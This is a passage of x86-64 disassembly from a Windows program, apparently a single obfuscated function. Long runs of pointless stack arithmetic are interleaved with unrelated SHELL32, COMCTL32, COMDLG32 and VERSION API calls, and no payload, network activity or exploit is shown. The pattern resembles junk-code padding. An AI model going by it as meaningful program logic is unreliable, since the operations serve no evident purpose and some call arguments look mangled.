movsx eax, word [rsp + 0x2ce4]
movsx ecx, word [0x14019d13c]
add eax, ecx
mov rcx, qword [rsp + 0xd818]
mov word [rcx], ax
mov rax, qword [rsp + 0xd198]
mov ecx, dword [rsp + 0x6e44]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5a80], eax
mov rax, qword [rsp + 0xc1a0]
mov rcx, qword [rsp + 0xd1e8]
mov qword [rsp + 0xe008], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe008]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xdd08], rax
mov rax, qword [0x14019f198]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x53a]
shl eax, cl
mov byte [rsp + 0x531], al
mov rax, qword [rsp + 0xda28]
mov eax, dword [rax]
mov dword [rsp + 0x6eb4], eax
movzx eax, byte [rsp + 0x50b]
movzx ecx, byte [rsp + 0x45a]
or eax, ecx
mov rcx, qword [rsp + 0xd0c0]
mov byte [rcx], al
lea rax, [0x14019f0f0]
mov qword [0x14019f288], rax
mov rax, qword [rsp + 0xd828]
movzx eax, word [rax]
mov word [rsp + 0x2d04], ax
mov rax, qword [rsp + 0xd7f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c48]
xor eax, ecx
mov word [rsp + 0x2cac], ax
mov rax, qword [rsp + 0xd2b0]
mov rcx, qword [rsp + 0xd558]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd8f0], rax
movsx eax, byte [rsp + 0x53b]
movsx ecx, byte [rsp + 0x346]
sub eax, ecx
mov byte [rsp + 0x32c], al
mov rax, qword [rsp + 0xdd80]
mov ecx, dword [rsp + 0x6ea0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6e84], eax
lea rax, [rsp + 0xaa78]
mov qword [rsp + 0xe010], rax
movsx eax, word [rsp + 0x2c9c]
movsx ecx, word [rsp + 0x2bd0]
sar eax, cl
mov word [rsp + 0x2c78], ax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov word [rsp + 0x2d08], ax
mov rax, qword [rsp + 0xd998]
mov rcx, qword [rsp + 0xb340]
or rcx, rax
mov rax, rcx
mov rcx, qword [0x14019f050]
mov qword [rcx], rax
movzx eax, word [rsp + 0x2894]
movzx ecx, word [rsp + 0xf84]
shl eax, cl
mov word [rsp + 0x2380], ax
mov rax, qword [0x14019d0d8]
mov rcx, qword [rsp + 0xde60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdef8], rax
mov r8d, 1
lea rdx, [rsp + 0xd7c8]
lea rcx, [rsp + 0xd5c0]
call qword [sym.imp.SHELL32.dll_ILAppendID]
mov qword [rsp + 0xdf50], rax
mov rax, qword [rsp + 0xddf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9d48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc048], rax
movsx eax, byte [rsp + 0x50f]
mov rcx, qword [rsp + 0xd970]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x512], al
mov rax, qword [section..data]
mov qword [rsp + 0xe018], rax
movzx eax, byte [rsp + 0x4ee]
movzx ecx, byte [rsp + 0x518]
add eax, ecx
mov rcx, qword [rsp + 0xd9e0]
mov byte [rcx], al
mov rax, qword [rsp + 0xda60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6450]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d78], eax
mov eax, dword [rsp + 0x6e44]
mov rcx, qword [rsp + 0xda70]
mov qword [rsp + 0xe020], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe020]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x66f8], eax
mov rax, qword [rsp + 0xd470]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdc40]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x14019f214], ax
lea rcx, [rsp + 0xd540]
call qword [sym.imp.SHELL32.dll_ILGetNext]
mov qword [rsp + 0xe028], rax
mov rax, qword [0x14019f088]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c20]
and eax, ecx
mov word [rsp + 0x213c], ax
movzx eax, word [rsp + 0x2b08]
mov word [rsp + 0x2d0c], ax
xor r8d, r8d
mov rdx, qword [rsp + 0xe030]
mov rcx, qword [rsp + 0xd010]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x6c58], eax
movzx eax, word [rsp + 0xe74]
mov rcx, qword [rsp + 0xdb00]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf84], ax
mov rax, qword [rsp + 0xd3d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6454]
shr eax, cl
mov dword [rsp + 0x5ef8], eax
mov rax, qword [rsp + 0xd6c0]
mov qword [rsp + 0xe038], rax
movsx eax, byte [rsp + 0x4ad]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x500], al
mov rax, qword [rsp + 0xd420]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdb90]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1598], ax
movzx eax, word [rsp + 0x1fbc]
mov rcx, qword [rsp + 0xd7f0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xdf78]
mov word [rcx], ax
mov rax, qword [rsp + 0xd9d0]
mov rax, qword [rax]
mov rcx, qword [0x14019f030]
mov qword [rsp + 0xe040], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe040]
mov rax, qword [rax]
shl rax, cl
mov qword [0x14019d160], rax
mov rax, qword [rsp + 0xdda0]
mov rax, qword [rax]
mov qword [rsp + 0xe048], rax
mov rax, qword [rsp + 0xd478]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd0b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xdcb0]
mov rcx, qword [0x14019d018]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd918]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2cac]
add eax, ecx
mov word [rsp + 0x22a8], ax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd9e0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0xd098]
mov eax, dword [rax]
mov dword [rsp + 0x6eb8], eax
mov rax, qword [rsp + 0xd058]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e08]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b5c], eax
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [rsp + 0x64]
add eax, ecx
mov byte [rsp + 0x503], al
mov rax, qword [rsp + 0xddd8]
mov qword [0x14019f290], rax
movzx eax, word [rsp + 0x2c00]
mov word [rsp + 0x2d10], ax
mov rax, qword [rsp + 0xda00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd770]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1d00], ax
lea r9, [rsp + 0xe030]
mov r8d, 0x27
mov edx, 0xeb
mov rcx, qword [rsp + 0xd1f8]
call sub.VERSION.dll_GetFileVersionInfoW
mov dword [rsp + 0x6ce0], eax
mov rax, qword [0x14019f220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x17d4]
xor eax, ecx
mov word [rsp + 0xfbc], ax
mov rax, qword [rsp + 0x9280]
mov rcx, qword [rsp + 0xd780]
mov qword [rsp + 0xe050], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe050]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd980], rax
mov eax, dword [rsp + 0x6dcc]
movzx ecx, al
mov eax, dword [0x14019f0c8]
shr eax, cl
mov dword [rsp + 0x6454], eax
lea rax, [rsp + 0x52c]
mov qword [rsp + 0xe058], rax
mov rax, qword [rsp + 0xac98]
mov rcx, qword [rsp + 0xda08]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe010]
mov qword [rcx], rax
movzx eax, word [rsp + 0x2bac]
mov word [rsp + 0x2d14], ax
movzx eax, word [rsp + 0xfbc]
movzx ecx, word [rsp + 0x2af4]
sub eax, ecx
mov rcx, qword [0x14019f230]
mov word [rcx], ax
mov rax, qword [rsp + 0xd0d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdd68]
mov qword [rsp + 0xe060], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe060]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd830], rax
mov rax, qword [rsp + 0xdf98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdd28]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a54], ax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x52d]
or eax, ecx
mov byte [rsp + 0x4f], al
mov rcx, qword [rsp + 0xd2c8]
call qword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov qword [rsp + 0xe068], rax
mov eax, dword [rsp + 0x6798]
imul eax, dword [rsp + 0x6104]
mov dword [rsp + 0x5938], eax
movzx eax, byte [rsp + 0x9b]
mov byte [rsp + 0x545], al
mov rax, qword [rsp + 0xdf20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5ba8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b8c], eax
mov r9, qword [rsp + 0xd368]
mov r8, qword [rsp + 0xd528]
mov rdx, qword [rsp + 0xe070]
mov rcx, qword [rsp + 0xce90]
call qword [sym.imp.SHELL32.dll_ShellAboutW]
mov dword [rsp + 0x6c58], eax
lea rax, [rsp + 0xdff8]
mov qword [rsp + 0xe078], rax
mov rax, qword [rsp + 0xd818]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd898]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c50], ax
mov rax, qword [rsp + 0xdb00]
movzx eax, word [rax]
mov word [0x14019f298], ax
mov rax, qword [rsp + 0xdab8]
mov rcx, qword [rsp + 0x91a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc418], rax
lea rax, [rsp + 0xdec8]
mov qword [rsp + 0xe080], rax
movsx eax, word [rsp + 0x2794]
movsx ecx, word [rsp + 0x1e7c]
and eax, ecx
mov word [rsp + 0x116c], ax
mov rax, qword [rsp + 0xdbf0]
movzx eax, word [rax]
mov word [rsp + 0x2d18], ax
mov rax, qword [0x14019f270]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd628]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4fd], al
mov rax, qword [rsp + 0xa448]
mov rcx, qword [rsp + 0xd9a0]
mov qword [rsp + 0xe088], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe088]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa498], rax
mov eax, dword [rsp + 0x5e40]
movzx ecx, al
mov eax, dword [rsp + 0x5ab4]
shr eax, cl
mov dword [rsp + 0x5b44], eax
mov rax, qword [rsp + 0xd6d0]
mov rcx, qword [rsp + 0xda90]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc7a0], rax
mov rax, qword [rsp + 0xd2d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1598]
sub eax, ecx
mov word [0x14019d098], ax
movzx eax, word [rsp + 0x2890]
mov word [rsp + 0x2d1c], ax
movzx eax, byte [rsp + 0x481]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4e8], al
mov rax, qword [rsp + 0xd050]
mov rcx, qword [rsp + 0xd150]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6dbc], eax
mov rax, qword [rsp + 0xcec0]
mov rcx, qword [rsp + 0xd890]
mov qword [rsp + 0xe090], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe090]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb100], rax
mov eax, dword [rsp + 0x6b5c]
movzx ecx, al
mov eax, dword [rsp + 0x6de8]
shl eax, cl
mov dword [rsp + 0x6d6c], eax
mov rax, qword [0x14019f270]
movzx eax, byte [rax]
mov byte [rsp + 0x546], al
mov rax, qword [rsp + 0xd0c8]
mov rcx, qword [rsp + 0xb050]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xadb8], rax
mov rax, qword [rsp + 0xda00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bb0]
add eax, ecx
mov word [rsp + 0xec4], ax
movzx eax, word [0x14019f188]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019d150], ax
mov rax, qword [rsp + 0xdd90]
mov rax, qword [rax]
mov qword [rsp + 0xe098], rax
movzx eax, word [rsp + 0x2cd0]
movzx ecx, word [0x14019f168]
and eax, ecx
mov word [rsp + 0x2c38], ax
mov rax, qword [rsp + 0xde08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd2d8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xec0], ax
mov rax, qword [rsp + 0xa5f0]
movzx ecx, al
mov rax, qword [rsp + 0xb1d8]
sar rax, cl
mov qword [rsp + 0x9828], rax
lea rax, [0x14019f0c8]
mov qword [rsp + 0xe0a0], rax
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9e28]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe078]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x4e5]
mov rcx, qword [rsp + 0xd488]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x12a], al
mov rax, qword [rsp + 0xdca8]
movzx eax, word [rax]
mov word [rsp + 0x2d20], ax
mov rax, qword [rsp + 0xd860]
mov rcx, qword [rsp + 0xc880]
mov rax, qword [rax]
sub rax, rcx
mov qword [str.o_vn], rax
movzx eax, byte [rsp + 0x45a]
mov rcx, qword [rsp + 0xd1a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x36f], al
mov eax, dword [rsp + 0x6dbc]
mov ecx, dword [0x14019efac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x61f8], eax
movsx eax, word [rsp + 0x2a6c]
mov rcx, qword [rsp + 0xd7b8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd770]
mov word [rcx], ax
mov rax, qword [0x14019f0d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8b0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x269c], ax
movzx eax, byte [rsp + 0x347]
mov byte [rsp + 0x547], al
mov eax, dword [rsp + 0x5e40]
movzx ecx, al
mov eax, dword [rsp + 0x5a80]
shr eax, cl
mov dword [rsp + 0x6d68], eax
mov rax, qword [rsp + 0xa4b0]
mov rcx, qword [rsp + 0xa0a8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xaf38], rax
mov rax, qword [rsp + 0xdd10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b50]
add eax, ecx
mov word [rsp + 0x2a90], ax
movzx eax, word [rsp + 0x2d20]
mov rcx, qword [0x14019f100]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019f228], ax
mov rax, qword [rsp + 0xdeb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc7a0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd738], rax
mov rax, qword [rsp + 0xcfe8]
mov qword [rsp + 0xe0a8], rax
mov rax, qword [rsp + 0xd2a0]
mov rcx, qword [rsp + 0xd7a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x90d8], rax
movzx eax, word [rsp + 0x2cc0]
mov word [rsp + 0x2d24], ax
mov rax, qword [rsp + 0xdf20]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xda88]
mov qword [rsp + 0xe0b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe0b0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6e58], eax
mov rax, qword [rsp + 0xd110]
mov rcx, qword [rsp + 0xd300]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcc48], rax
lea rcx, [rsp + 0x1f380]
call qword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [rsp + 0x6d40], eax
mov rax, qword [rsp + 0xdd70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd218]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x503], al
mov rax, qword [rsp + 0xd098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x633c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d8c], eax
movzx eax, byte [rsp + 0x527]
mov byte [rsp + 0x548], al
mov rax, qword [rsp + 0xd588]
movzx eax, word [rax]
mov word [0x14019f29c], ax
movzx eax, word [rsp + 0x2bbc]
mov rcx, qword [rsp + 0xdb00]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd828]
mov word [rcx], ax
movzx eax, word [rsp + 0x131c]
mov rcx, qword [rsp + 0xd620]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x20f8], ax
mov rax, qword [rsp + 0xc338]
mov rcx, qword [rsp + 0xdd58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd000], rax
mov rax, qword [rsp + 0xda80]
mov rcx, qword [rsp + 0xda48]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd468]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdbd8]
mov eax, dword [rax]
mov dword [rsp + 0x6ebc], eax
movsx eax, byte [rsp + 0x505]
movsx ecx, byte [rsp + 0x18d]
sar eax, cl
mov byte [rsp + 0x52c], al
lea rax, [rsp + 0x2b64]
mov qword [rsp + 0xe0b8], rax
movzx eax, word [0x14019f128]
movzx ecx, word [rsp + 0x25c0]
or eax, ecx
mov word [rsp + 0x2cc8], ax
lea rcx, [rsp + 0x1f460]
call qword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [rsp + 0x6ec0], eax
mov rax, qword [rsp + 0xdec8]
movzx ecx, al
mov rax, qword [rsp + 0xdc30]
shl rax, cl
mov qword [0x14019d170], rax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdca8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2afc], ax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov qword [rsp + 0xe0c0], rax
mov rax, qword [rsp + 0xd408]
mov rcx, qword [rsp + 0xde88]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc920], rax
lea rax, [0x14019d011]
mov qword [rsp + 0xe0c8], rax
mov rax, qword [rsp + 0xa448]
mov rcx, qword [rsp + 0xdee0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd568], rax
mov eax, dword [rsp + 0x6e64]
mov rcx, qword [rsp + 0xd050]
mov qword [rsp + 0xe0d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe0d0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x5938], eax
movzx eax, byte [0x14019ef90]
mov rcx, qword [rsp + 0xde68]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xff], al
mov eax, dword [rsp + 0x6c24]
mov rcx, qword [rsp + 0xd0d0]
mov qword [rsp + 0xe0d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe0d8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5e94], eax
movsx eax, word [rsp + 0x2cf8]
mov rcx, qword [rsp + 0xd420]
movsx ecx, word [rcx]
sub eax, ecx
mov word [reloc.SHELL32.dll_ILSaveToStream], ax
lea rax, [rsp + 0x2a7c]
mov qword [rsp + 0xe0e0], rax
mov rax, qword [rsp + 0xd8e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d08]
add eax, ecx
mov word [rsp + 0x2c7c], ax
mov rax, qword [rsp + 0xd910]
movzx eax, word [rax]
mov word [rsp + 0x2d28], ax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x505]
add eax, ecx
mov byte [rsp + 0x519], al
mov rax, qword [rsp + 0xb050]
mov rcx, qword [rsp + 0xd210]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc4d8], rax
mov rax, qword [rsp + 0xddc8]
mov rcx, qword [rsp + 0xd3d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x588c], eax
mov rax, qword [rsp + 0xd2d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xde90]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1750], ax
mov rax, qword [rsp + 0xd4a8]
movzx eax, word [rax]
mov word [rsp + 0x2d2c], ax
mov rax, qword [rsp + 0xd940]
mov rax, qword [rax]
mov rcx, qword [0x14019efe0]
or rcx, rax
mov rax, rcx
mov qword [0x14019f1a8], rax
mov rax, qword [rsp + 0xd780]
mov rcx, qword [rsp + 0xd548]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xdf80], rax
mov rax, qword [rsp + 0xddf8]
mov rcx, qword [0x14019d130]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb568], rax
mov rax, qword [rsp + 0xd408]
mov rax, qword [rax]
mov qword [rsp + 0xe0e8], rax
movzx eax, word [rsp + 0x2a70]
mov rcx, qword [rsp + 0xd910]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xdca8]
mov word [rcx], ax
mov eax, dword [rsp + 0x6798]
mov ecx, dword [0x14019efac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x592c], eax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x524]
shl eax, cl
mov byte [rsp + 0x45a], al
mov dword [rsp + 0x28], PathMakeUniqueName
lea rax, [rsp + 0xce18]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xd668]
mov r8d, 0xfa
mov edx, SHGetNewLinkInfoW
mov rcx, qword [rsp + 0xce10]
call qword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [rsp + 0x6bc4], eax
mov r8d, 4
mov rdx, qword [rsp + 0xcde0]
mov rcx, qword [rsp + 0xe0f0]
call qword [sym.imp.SHELL32.dll_ExtractIconW]
mov qword [rsp + 0xd540], rax
mov rax, qword [rsp + 0xe0c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x488]
sar eax, cl
mov byte [rsp + 0x346], al
mov rax, qword [rsp + 0xd198]
mov eax, dword [rax]
mov dword [rsp + 0x6ec4], eax
mov rax, qword [rsp + 0xd1c8]
mov rax, qword [rax]
mov qword [0x14019f2a0], rax
movsx eax, word [rsp + 0x29ac]
movsx ecx, word [rsp + 0x1548]
or eax, ecx
mov word [rsp + 0x2a84], ax
movsx eax, word [rsp + 0x2b5c]
mov rcx, qword [rsp + 0xdf90]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x20a8], ax
mov rax, qword [rsp + 0xd630]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd7f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b70], ax
mov rax, qword [rsp + 0xaf10]
mov qword [rsp + 0xe0f8], rax
movsx eax, byte [rsp + 0x532]
mov rcx, qword [rsp + 0xd218]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x53a], al
mov rax, qword [rsp + 0xdb78]
mov rcx, qword [rsp + 0xdd08]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xdcc8], rax
mov rax, qword [rsp + 0xdd80]
mov eax, dword [rax]
mov ecx, dword [0x14019efb0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6894], eax
mov rax, qword [rsp + 0xd898]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd878]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2acc], ax
movzx eax, word [rsp + 0x2a10]
mov word [0x14019f2a8], ax
mov rax, qword [rsp + 0xd5e8]
mov qword [rsp + 0xe100], rax
mov rax, qword [rsp + 0xdd28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b80]
and eax, ecx
mov rcx, qword [rsp + 0xd4a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xdc50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x511]
xor eax, ecx
mov rcx, qword [rsp + 0xdc50]
mov byte [rcx], al
mov rax, qword [rsp + 0xda60]
mov eax, dword [rax]
mov dword [rsp + 0x6ec8], eax
mov rax, qword [rsp + 0xd3b8]
mov rcx, qword [rsp + 0xdb10]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc3f0], rax
mov eax, dword [rsp + 0x6e9c]
movzx ecx, al
mov eax, dword [rsp + 0x6d84]
shr eax, cl
mov dword [rsp + 0x5fd8], eax
movsx eax, byte [0x14019ef96]
movsx ecx, byte [rsp + 0x4df]
shl eax, cl
mov byte [rsp + 0x252], al
movsx eax, word [rsp + 0x2b78]
movsx ecx, word [rsp + 0x2cdc]
sub eax, ecx
mov word [rsp + 0x2b00], ax
movzx eax, word [rsp + 0xe74]
mov rcx, qword [rsp + 0xd800]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019f038], ax
mov rax, qword [rsp + 0xc248]
mov qword [rsp + 0xe108], rax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe080]
mov qword [rsp + 0xe110], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe110]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xdc48], rax
mov rax, qword [rsp + 0xd7d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd818]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1d18], ax
movzx eax, word [rsp + 0x2c0c]
movzx ecx, word [rsp + 0x2b2c]
or eax, ecx
mov word [rsp + 0x22b0], ax
mov rax, qword [rsp + 0xc3f0]
mov rcx, qword [rsp + 0xd0c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdc00], rax
mov eax, dword [rsp + 0x6ddc]
mov dword [rsp + 0x6ecc], eax
mov rax, qword [rsp + 0xdd48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd218]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xdd70]
mov byte [rcx], al
lea rdx, [rsp + 0x20890]
lea rcx, [rsp + 0xe0f0]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x6dd8], eax
mov rax, qword [rsp + 0xd9d0]
mov rax, qword [rax]
mov qword [rsp + 0xe118], rax
movsx eax, word [rsp + 0x2cf8]
mov rcx, qword [rsp + 0xd398]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14019d064], ax
movzx eax, word [rsp + 0x2d0c]
mov rcx, qword [rsp + 0xd7f0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1a30], ax
movzx eax, byte [rsp + 0x4ee]
mov rcx, qword [rsp + 0xd0c0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3ba], al
mov rax, qword [rsp + 0xdb30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6db4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e50], eax
mov rax, qword [rsp + 0xde88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd388]
mov qword [rsp + 0xe120], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe120]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb370], rax
mov rax, qword [rsp + 0xe078]
mov rax, qword [rax]
mov qword [rsp + 0xe128], rax
mov rax, qword [rsp + 0xd2f8]
mov ecx, dword [rsp + 0x6df8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6d64], eax
mov rax, qword [rsp + 0xdd70]
movsx eax, byte [rax]
mov rcx, qword [0x14019f180]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xeb], al
movsx eax, word [rsp + 0xe78]
movsx ecx, word [rsp + 0x2b00]
sub eax, ecx
mov word [rsp + 0x2cc0], ax
mov rax, qword [rsp + 0xdca8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14019d178], ax
mov rax, qword [rsp + 0xd4b8]
mov rcx, qword [rsp + 0xd870]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbce8], rax
mov rax, qword [rsp + 0xd910]
movzx eax, word [rax]
mov word [rsp + 0x2d30], ax
mov rax, qword [rsp + 0xdb68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd928]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a84], ax
mov rax, qword [rsp + 0xcfe0]
mov rax, qword [rax]
mov qword [rsp + 0xe130], rax
mov rax, qword [rsp + 0xdd48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xdd70]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x525], al
mov rax, qword [rsp + 0xd468]
mov rcx, qword [0x14019f120]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9fe0], rax
mov rax, qword [rsp + 0xd198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5b3c]
